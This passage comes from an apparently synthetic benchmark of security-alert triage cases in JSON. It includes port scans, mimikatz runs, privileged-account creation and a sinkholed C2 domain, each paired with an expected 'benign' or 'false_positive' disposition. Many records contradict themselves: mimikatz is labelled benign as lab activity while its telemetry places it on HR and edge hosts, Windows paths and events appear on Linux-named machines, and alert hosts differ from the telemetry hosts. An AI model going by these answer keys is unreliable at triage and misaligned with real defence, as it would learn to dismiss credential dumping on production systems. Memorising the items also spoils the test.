198.51.100.40",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "netflow",+ "src_ip": "198.51.100.40",+ "distinct_dst": 2300,+ "distinct_ports": 1024,+ "duration_seconds": 660+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.40",+ "hostname": "vulnscan-prod-01.example.com",+ "owner": "[email protected]",+ "role": "authenticated vulnerability scanner",+ "scan_schedule": "weekly, Sundays 01:00-05:00 UTC"+ }+ ]+ },+ {+ "id": "INC-BENIGN-003-R3",+ "provenance": "synthetic",+ "title": "Port scan across 10.0.0.0/8 from 198.51.100.40",+ "description": "Sequential TCP connections to 1,024 ports across 2,300 hosts in eleven minutes.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1046"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Port scan across 10.0.0.0/8 from 198.51.100.40",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "netflow",+ "src_ip": "198.51.100.40",+ "distinct_dst": 2300,+ "distinct_ports": 1024,+ "duration_seconds": 660+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.40",+ "hostname": "vulnscan-prod-01.example.com",+ "owner": "[email protected]",+ "role": "authenticated vulnerability scanner",+ "scan_schedule": "weekly, Sundays 01:00-05:00 UTC"+ }+ ]+ },+ {+ "id": "INC-BENIGN-003-R4",+ "provenance": "synthetic",+ "title": "Port scan across 10.0.0.0/8 from 198.51.100.40",+ "description": "Sequential TCP connections to 1,024 ports across 2,300 hosts in eleven minutes.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1046"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Port scan across 10.0.0.0/8 from 198.51.100.40",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "netflow",+ "src_ip": "198.51.100.40",+ "distinct_dst": 2300,+ "distinct_ports": 1024,+ "duration_seconds": 660+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.40",+ "hostname": "vulnscan-prod-01.example.com",+ "owner": "[email protected]",+ "role": "authenticated vulnerability scanner",+ "scan_schedule": "weekly, Sundays 01:00-05:00 UTC"+ }+ ]+ },+ {+ "id": "INC-BENIGN-004-R1",+ "provenance": "synthetic",+ "title": "Mass file read by backup agent on FS-CORP-02",+ "description": "48,000 file reads in 20 minutes by a single process on the corporate file server.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1005",+ "T1074.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Mass file read by backup agent on FS-CORP-02",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "WIN-HR-08",+ "Image": "C:\\Program Files\\Veeam\\Backup\\VeeamAgent.exe",+ "User": "EXAMPLE\\svc-backup",+ "files_touched": 48000,+ "window_minutes": 20+ },+ {+ "source": "edr",+ "process_signed": true,+ "signer": "Veeam Software Group GmbH",+ "network_destinations": [+ "198.51.100.70"+ ]+ }+ ]+ },+ {+ "id": "INC-BENIGN-004-R2",+ "provenance": "synthetic",+ "title": "Mass file read by backup agent on FS-CORP-02",+ "description": "48,000 file reads in 20 minutes by a single process on the corporate file server.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1005",+ "T1074.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Mass file read by backup agent on FS-CORP-02",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "LIN-DATA-11",+ "Image": "C:\\Program Files\\Veeam\\Backup\\VeeamAgent.exe",+ "User": "EXAMPLE\\svc-backup",+ "files_touched": 48000,+ "window_minutes": 20+ },+ {+ "source": "edr",+ "process_signed": true,+ "signer": "Veeam Software Group GmbH",+ "network_destinations": [+ "198.51.100.70"+ ]+ }+ ]+ },+ {+ "id": "INC-BENIGN-004-R3",+ "provenance": "synthetic",+ "title": "Mass file read by backup agent on FS-CORP-02",+ "description": "48,000 file reads in 20 minutes by a single process on the corporate file server.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1005",+ "T1074.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Mass file read by backup agent on FS-CORP-02",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "WIN-OPS-22",+ "Image": "C:\\Program Files\\Veeam\\Backup\\VeeamAgent.exe",+ "User": "EXAMPLE\\svc-backup",+ "files_touched": 48000,+ "window_minutes": 20+ },+ {+ "source": "edr",+ "process_signed": true,+ "signer": "Veeam Software Group GmbH",+ "network_destinations": [+ "198.51.100.70"+ ]+ }+ ]+ },+ {+ "id": "INC-BENIGN-004-R4",+ "provenance": "synthetic",+ "title": "Mass file read by backup agent on FS-CORP-02",+ "description": "48,000 file reads in 20 minutes by a single process on the corporate file server.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1005",+ "T1074.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Mass file read by backup agent on FS-CORP-02",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "LIN-EDGE-02",+ "Image": "C:\\Program Files\\Veeam\\Backup\\VeeamAgent.exe",+ "User": "EXAMPLE\\svc-backup",+ "files_touched": 48000,+ "window_minutes": 20+ },+ {+ "source": "edr",+ "process_signed": true,+ "signer": "Veeam Software Group GmbH",+ "network_destinations": [+ "198.51.100.70"+ ]+ }+ ]+ },+ {+ "id": "INC-BENIGN-005-R1",+ "provenance": "synthetic",+ "title": "LDAP enumeration from WIN-LEG-14",+ "description": "12,400 LDAP queries enumerating users, groups and group membership in six minutes.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1087.002",+ "T1069.002"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "LDAP enumeration from WIN-LEG-14",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4662,+ "Computer": "WIN-LEG-14",+ "SubjectUserName": "svc-scim-sync",+ "query_count": 12400,+ "window_minutes": 6+ },+ {+ "source": "asset_inventory",+ "hostname": "LIN-IAM-SYNC01",+ "role": "SCIM provisioning connector",+ "runs_every": "15 minutes"+ }+ ]+ },+ {+ "id": "INC-BENIGN-005-R2",+ "provenance": "synthetic",+ "title": "LDAP enumeration from LIN-CI-09",+ "description": "12,400 LDAP queries enumerating users, groups and group membership in six minutes.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1087.002",+ "T1069.002"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "LDAP enumeration from LIN-CI-09",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4662,+ "Computer": "LIN-CI-09",+ "SubjectUserName": "svc-scim-sync",+ "query_count": 12400,+ "window_minutes": 6+ },+ {+ "source": "asset_inventory",+ "hostname": "LIN-IAM-SYNC01",+ "role": "SCIM provisioning connector",+ "runs_every": "15 minutes"+ }+ ]+ },+ {+ "id": "INC-BENIGN-005-R3",+ "provenance": "synthetic",+ "title": "LDAP enumeration from WIN-DB-31",+ "description": "12,400 LDAP queries enumerating users, groups and group membership in six minutes.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1087.002",+ "T1069.002"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "LDAP enumeration from WIN-DB-31",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4662,+ "Computer": "WIN-DB-31",+ "SubjectUserName": "svc-scim-sync",+ "query_count": 12400,+ "window_minutes": 6+ },+ {+ "source": "asset_inventory",+ "hostname": "LIN-IAM-SYNC01",+ "role": "SCIM provisioning connector",+ "runs_every": "15 minutes"+ }+ ]+ },+ {+ "id": "INC-BENIGN-005-R4",+ "provenance": "synthetic",+ "title": "LDAP enumeration from WIN-FIN-03",+ "description": "12,400 LDAP queries enumerating users, groups and group membership in six minutes.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1087.002",+ "T1069.002"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "LDAP enumeration from WIN-FIN-03",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4662,+ "Computer": "WIN-FIN-03",+ "SubjectUserName": "svc-scim-sync",+ "query_count": 12400,+ "window_minutes": 6+ },+ {+ "source": "asset_inventory",+ "hostname": "LIN-IAM-SYNC01",+ "role": "SCIM provisioning connector",+ "runs_every": "15 minutes"+ }+ ]+ },+ {+ "id": "INC-BENIGN-006-R1",+ "provenance": "synthetic",+ "title": "Impossible travel for [email protected]",+ "description": "Sign-in from London then Singapore 40 minutes apart.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1078.004"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Impossible travel for [email protected]",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "198.51.100.12",+ "geo": "London, GB",+ "ts": "2026-03-04T08:02:00Z"+ },+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "203.0.113.88",+ "geo": "Singapore, SG",+ "ts": "2026-03-04T08:42:00Z"+ },+ {+ "source": "network",+ "ip": "203.0.113.88",+ "note": "Corporate egress gateway, APAC region. Traffic egresses here when the VPN reconnects."+ }+ ]+ },+ {+ "id": "INC-BENIGN-006-R2",+ "provenance": "synthetic",+ "title": "Impossible travel for [email protected]",+ "description": "Sign-in from London then Singapore 40 minutes apart.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1078.004"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Impossible travel for [email protected]",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "198.51.100.12",+ "geo": "London, GB",+ "ts": "2026-03-04T08:02:00Z"+ },+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "203.0.113.88",+ "geo": "Singapore, SG",+ "ts": "2026-03-04T08:42:00Z"+ },+ {+ "source": "network",+ "ip": "203.0.113.88",+ "note": "Corporate egress gateway, APAC region. Traffic egresses here when the VPN reconnects."+ }+ ]+ },+ {+ "id": "INC-BENIGN-006-R3",+ "provenance": "synthetic",+ "title": "Impossible travel for [email protected]",+ "description": "Sign-in from London then Singapore 40 minutes apart.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1078.004"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Impossible travel for [email protected]",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "198.51.100.12",+ "geo": "London, GB",+ "ts": "2026-03-04T08:02:00Z"+ },+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "203.0.113.88",+ "geo": "Singapore, SG",+ "ts": "2026-03-04T08:42:00Z"+ },+ {+ "source": "network",+ "ip": "203.0.113.88",+ "note": "Corporate egress gateway, APAC region. Traffic egresses here when the VPN reconnects."+ }+ ]+ },+ {+ "id": "INC-BENIGN-006-R4",+ "provenance": "synthetic",+ "title": "Impossible travel for [email protected]",+ "description": "Sign-in from London then Singapore 40 minutes apart.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1078.004"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Impossible travel for [email protected]",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "198.51.100.12",+ "geo": "London, GB",+ "ts": "2026-03-04T08:02:00Z"+ },+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "203.0.113.88",+ "geo": "Singapore, SG",+ "ts": "2026-03-04T08:42:00Z"+ },+ {+ "source": "network",+ "ip": "203.0.113.88",+ "note": "Corporate egress gateway, APAC region. Traffic egresses here when the VPN reconnects."+ }+ ]+ },+ {+ "id": "INC-BENIGN-007-R1",+ "provenance": "synthetic",+ "title": "New privileged account created: svc-terraform-runner",+ "description": "Account created and added to Domain Admins outside business hours.",+ "severity": "critical",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1136.002",+ "T1098"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "New privileged account created: svc-terraform-runner",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4720,+ "Computer": "WIN-OPS-22",+ "TargetUserName": "svc-terraform-runner",+ "SubjectUserName": "svc-provisioning",+ "ts": "2026-03-04T23:40:00Z"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041487",+ "approver": "[email protected]",+ "summary": "Provision infrastructure-automation service account, approved at CAB 2026-02-27"+ }+ ]+ },+ {+ "id": "INC-BENIGN-007-R2",+ "provenance": "synthetic",+ "title": "New privileged account created: svc-terraform-runner",+ "description": "Account created and added to Domain Admins outside business hours.",+ "severity": "critical",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1136.002",+ "T1098"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "New privileged account created: svc-terraform-runner",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4720,+ "Computer": "LIN-EDGE-02",+ "TargetUserName": "svc-terraform-runner",+ "SubjectUserName": "svc-provisioning",+ "ts": "2026-03-04T23:40:00Z"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041502",+ "approver": "[email protected]",+ "summary": "Provision infrastructure-automation service account, approved at CAB 2026-02-27"+ }+ ]+ },+ {+ "id": "INC-BENIGN-007-R3",+ "provenance": "synthetic",+ "title": "New privileged account created: svc-terraform-runner",+ "description": "Account created and added to Domain Admins outside business hours.",+ "severity": "critical",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1136.002",+ "T1098"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "New privileged account created: svc-terraform-runner",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4720,+ "Computer": "WIN-LEG-14",+ "TargetUserName": "svc-terraform-runner",+ "SubjectUserName": "svc-provisioning",+ "ts": "2026-03-04T23:40:00Z"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041533",+ "approver": "[email protected]",+ "summary": "Provision infrastructure-automation service account, approved at CAB 2026-02-27"+ }+ ]+ },+ {+ "id": "INC-BENIGN-007-R4",+ "provenance": "synthetic",+ "title": "New privileged account created: svc-terraform-runner",+ "description": "Account created and added to Domain Admins outside business hours.",+ "severity": "critical",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1136.002",+ "T1098"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "New privileged account created: svc-terraform-runner",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4720,+ "Computer": "LIN-CI-09",+ "TargetUserName": "svc-terraform-runner",+ "SubjectUserName": "svc-provisioning",+ "ts": "2026-03-04T23:40:00Z"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041420",+ "approver": "[email protected]",+ "summary": "Provision infrastructure-automation service account, approved at CAB 2026-02-27"+ }+ ]+ },+ {+ "id": "INC-BENIGN-008-R1",+ "provenance": "synthetic",+ "title": "Bulk outbound email from 198.51.100.55",+ "description": "22,000 messages to external recipients in one hour.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1114.003"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Bulk outbound email from 198.51.100.55",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "m365_audit",+ "Operation": "Send",+ "sender": "[email protected]",+ "message_count": 22000,+ "window_minutes": 60+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.55",+ "hostname": "mkt-sendgrid-relay.example.com",+ "role": "marketing email relay"+ }+ ]+ },+ {+ "id": "INC-BENIGN-008-R2",+ "provenance": "synthetic",+ "title": "Bulk outbound email from 198.51.100.55",+ "description": "22,000 messages to external recipients in one hour.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1114.003"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Bulk outbound email from 198.51.100.55",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "m365_audit",+ "Operation": "Send",+ "sender": "[email protected]",+ "message_count": 22000,+ "window_minutes": 60+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.55",+ "hostname": "mkt-sendgrid-relay.example.com",+ "role": "marketing email relay"+ }+ ]+ },+ {+ "id": "INC-BENIGN-008-R3",+ "provenance": "synthetic",+ "title": "Bulk outbound email from 198.51.100.55",+ "description": "22,000 messages to external recipients in one hour.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1114.003"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Bulk outbound email from 198.51.100.55",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "m365_audit",+ "Operation": "Send",+ "sender": "[email protected]",+ "message_count": 22000,+ "window_minutes": 60+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.55",+ "hostname": "mkt-sendgrid-relay.example.com",+ "role": "marketing email relay"+ }+ ]+ },+ {+ "id": "INC-BENIGN-008-R4",+ "provenance": "synthetic",+ "title": "Bulk outbound email from 198.51.100.55",+ "description": "22,000 messages to external recipients in one hour.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1114.003"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Bulk outbound email from 198.51.100.55",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "m365_audit",+ "Operation": "Send",+ "sender": "[email protected]",+ "message_count": 22000,+ "window_minutes": 60+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.55",+ "hostname": "mkt-sendgrid-relay.example.com",+ "role": "marketing email relay"+ }+ ]+ },+ {+ "id": "INC-BENIGN-009-R1",+ "provenance": "synthetic",+ "title": "Credential dumping tool executed on WIN-SEC-LAB01",+ "description": "mimikatz.exe executed by [email protected].",+ "severity": "critical",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1003.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Credential dumping tool executed on WIN-SEC-LAB01",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-HR-08",+ "Image": "C:\\Tools\\mimikatz.exe",+ "User": "EXAMPLE\\t.nakamura"+ },+ {+ "source": "asset_inventory",+ "hostname": "WIN-SEC-LAB01",+ "role": "detection-engineering lab, isolated VLAN, no domain trust",+ "owner": "[email protected]"+ }+ ]+ },+ {+ "id": "INC-BENIGN-009-R2",+ "provenance": "synthetic",+ "title": "Credential dumping tool executed on WIN-SEC-LAB01",+ "description": "mimikatz.exe executed by [email protected].",+ "severity": "critical",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1003.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Credential dumping tool executed on WIN-SEC-LAB01",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "LIN-DATA-11",+ "Image": "C:\\Tools\\mimikatz.exe",+ "User": "EXAMPLE\\t.nakamura"+ },+ {+ "source": "asset_inventory",+ "hostname": "WIN-SEC-LAB01",+ "role": "detection-engineering lab, isolated VLAN, no domain trust",+ "owner": "[email protected]"+ }+ ]+ },+ {+ "id": "INC-BENIGN-009-R3",+ "provenance": "synthetic",+ "title": "Credential dumping tool executed on WIN-SEC-LAB01",+ "description": "mimikatz.exe executed by [email protected].",+ "severity": "critical",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1003.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Credential dumping tool executed on WIN-SEC-LAB01",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-OPS-22",+ "Image": "C:\\Tools\\mimikatz.exe",+ "User": "EXAMPLE\\t.nakamura"+ },+ {+ "source": "asset_inventory",+ "hostname": "WIN-SEC-LAB01",+ "role": "detection-engineering lab, isolated VLAN, no domain trust",+ "owner": "[email protected]"+ }+ ]+ },+ {+ "id": "INC-BENIGN-009-R4",+ "provenance": "synthetic",+ "title": "Credential dumping tool executed on WIN-SEC-LAB01",+ "description": "mimikatz.exe executed by [email protected].",+ "severity": "critical",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1003.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Credential dumping tool executed on WIN-SEC-LAB01",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "LIN-EDGE-02",+ "Image": "C:\\Tools\\mimikatz.exe",+ "User": "EXAMPLE\\t.nakamura"+ },+ {+ "source": "asset_inventory",+ "hostname": "WIN-SEC-LAB01",+ "role": "detection-engineering lab, isolated VLAN, no domain trust",+ "owner": "[email protected]"+ }+ ]+ },+ {+ "id": "INC-BENIGN-010-R1",+ "provenance": "synthetic",+ "title": "Scheduled task created on 140 hosts",+ "description": "Identical scheduled task written across 140 endpoints within four minutes.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1053.005"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Scheduled task created on 140 hosts",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4698,+ "TaskName": "\\Example\\EndpointInventory",+ "host_count": 140,+ "window_minutes": 4,+ "SubjectUserName": "svc-sccm"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041420",+ "summary": "Roll out endpoint inventory collector to the finance OU"+ }+ ]+ },+ {+ "id": "INC-BENIGN-010-R2",+ "provenance": "synthetic",+ "title": "Scheduled task created on 140 hosts",+ "description": "Identical scheduled task written across 140 endpoints within four minutes.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1053.005"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Scheduled task created on 140 hosts",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4698,+ "TaskName": "\\Example\\EndpointInventory",+ "host_count": 140,+ "window_minutes": 4,+ "SubjectUserName": "svc-sccm"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041455",+ "summary": "Roll out endpoint inventory collector to the finance OU"+ }+ ]+ },+ {+ "id": "INC-BENIGN-010-R3",+ "provenance": "synthetic",+ "title": "Scheduled task created on 140 hosts",+ "description": "Identical scheduled task written across 140 endpoints within four minutes.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1053.005"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Scheduled task created on 140 hosts",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4698,+ "TaskName": "\\Example\\EndpointInventory",+ "host_count": 140,+ "window_minutes": 4,+ "SubjectUserName": "svc-sccm"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041487",+ "summary": "Roll out endpoint inventory collector to the finance OU"+ }+ ]+ },+ {+ "id": "INC-BENIGN-010-R4",+ "provenance": "synthetic",+ "title": "Scheduled task created on 140 hosts",+ "description": "Identical scheduled task written across 140 endpoints within four minutes.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1053.005"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Scheduled task created on 140 hosts",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4698,+ "TaskName": "\\Example\\EndpointInventory",+ "host_count": 140,+ "window_minutes": 4,+ "SubjectUserName": "svc-sccm"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041502",+ "summary": "Roll out endpoint inventory collector to the finance OU"+ }+ ]+ },+ {+ "id": "INC-FP-001-R1",+ "provenance": "synthetic",+ "title": "Ransomware file-extension activity on WIN-HR-21",+ "description": "Rule matched 400 files renamed to a known ransomware extension.",+ "severity": "critical",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1486"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Ransomware file-extension activity on WIN-HR-21",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "WIN-ENG-17",+ "TargetFilename": "D:\\archive\\2019-payroll.7z.locked",+ "Image": "C:\\Program Files\\7-Zip\\7zG.exe",+ "User": "EXAMPLE\\m.alvarez"+ },+ {+ "source": "edr",+ "note": "Files were renamed by an archival script appending '.locked' as its own marker.",+ "entropy_change": "none",+ "ransom_note_found": false+ }+ ]+ },+ {+ "id": "INC-FP-001-R2",+ "provenance": "synthetic",+ "title": "Ransomware file-extension activity on WIN-HR-21",+ "description": "Rule matched 400 files renamed to a known ransomware extension.",+ "severity": "critical",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1486"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Ransomware file-extension activity on WIN-HR-21",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "LIN-APP-05",+ "TargetFilename": "D:\\archive\\2019-payroll.7z.locked",+ "Image": "C:\\Program Files\\7-Zip\\7zG.exe",+ "User": "EXAMPLE\\m.alvarez"+ },+ {+ "source": "edr",+ "note": "Files were renamed by an archival script appending '.locked' as its own marker.",+ "entropy_change": "none",+ "ransom_note_found": false+ }+ ]+ },+ {+ "id": "INC-FP-001-R3",+ "provenance": "synthetic",+ "title": "Ransomware file-extension activity on WIN-HR-21",+ "description": "Rule matched 400 files renamed to a known ransomware extension.",+ "severity": "critical",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1486"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Ransomware file-extension activity on WIN-HR-21",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "WIN-HR-08",+ "TargetFilename": "D:\\archive\\2019-payroll.7z.locked",+ "Image": "C:\\Program Files\\7-Zip\\7zG.exe",+ "User": "EXAMPLE\\m.alvarez"+ },+ {+ "source": "edr",+ "note": "Files were renamed by an archival script appending '.locked' as its own marker.",+ "entropy_change": "none",+ "ransom_note_found": false+ }+ ]+ },+ {+ "id": "INC-FP-001-R4",+ "provenance": "synthetic",+ "title": "Ransomware file-extension activity on WIN-HR-21",+ "description": "Rule matched 400 files renamed to a known ransomware extension.",+ "severity": "critical",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1486"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Ransomware file-extension activity on WIN-HR-21",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "LIN-DATA-11",+ "TargetFilename": "D:\\archive\\2019-payroll.7z.locked",+ "Image": "C:\\Program Files\\7-Zip\\7zG.exe",+ "User": "EXAMPLE\\m.alvarez"+ },+ {+ "source": "edr",+ "note": "Files were renamed by an archival script appending '.locked' as its own marker.",+ "entropy_change": "none",+ "ransom_note_found": false+ }+ ]+ },+ {+ "id": "INC-FP-002-R1",+ "provenance": "synthetic",+ "title": "C2 beacon to malware-c2.example.net from WIN-FIN-09",+ "description": "Periodic outbound HTTPS matching a threat-intel indicator.",+ "severity": "critical",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1071.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "C2 beacon to malware-c2.example.net from WIN-FIN-09",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "proxy",+ "src_host": "WIN-OPS-22",+ "dst_domain": "malware-c2.example.net",+ "interval_seconds": 300,+ "bytes_out": 412+ },+ {+ "source": "threatintel",+ "indicator": "malware-c2.example.net",+ "note": "Sinkholed by the registrar in 2024; the IOC feed never expired the entry.",+ "first_seen": "2023-11-02",+ "sinkholed": true+ }+ ]+ },+ {+ "id": "INC-FP-002-R2",+ "provenance": "synthetic",+ "title": "C2 beacon to malware-c2.example.net from WIN-FIN-09",+ "description": "Periodic outbound HTTPS matching a threat-intel indicator.",+ "severity": "critical",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1071.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "C2 beacon to malware-c2.example.net from WIN-FIN-09",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "proxy",+ "src_host": "LIN-EDGE-02",+ "dst_domain": "malware-c2.example.net",+ "interval_seconds": 300,+ "bytes_out": 412+ },+ {+ "source": "threatintel",+ "indicator": "malware-c2.example.net",+ "note": "Sinkholed by the registrar in 2024; the IOC feed never expired the entry.",+ "first_seen": "2023-11-02",+ "sinkholed": true+ }+ ]+ },+ {+ "id": "INC-FP-002-R3",+ "provenance": "synthetic",+ "title": "C2 beacon to malware-c2.example.net from WIN-FIN-09",+ "description": "Periodic outbound HTTPS matching a threat-intel indicator.",+ "severity": "critical",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1071.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "C2 beacon to malware-c2.example.net from WIN-FIN-09",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "proxy",+ "src_host": "WIN-LEG-14",+ "dst_domain": "malware-c2.example.net",+ "interval_seconds": 300,+ "bytes_out": 412+ },+ {+ "source": "threatintel",+ "indicator": "malware-c2.example.net",+ "note": "Sinkholed by the registrar in 2024; the IOC feed never expired the entry.",+ "first_seen": "2023-11-02",+ "sinkholed": true+ }+ ]+ },+ {+ "id": 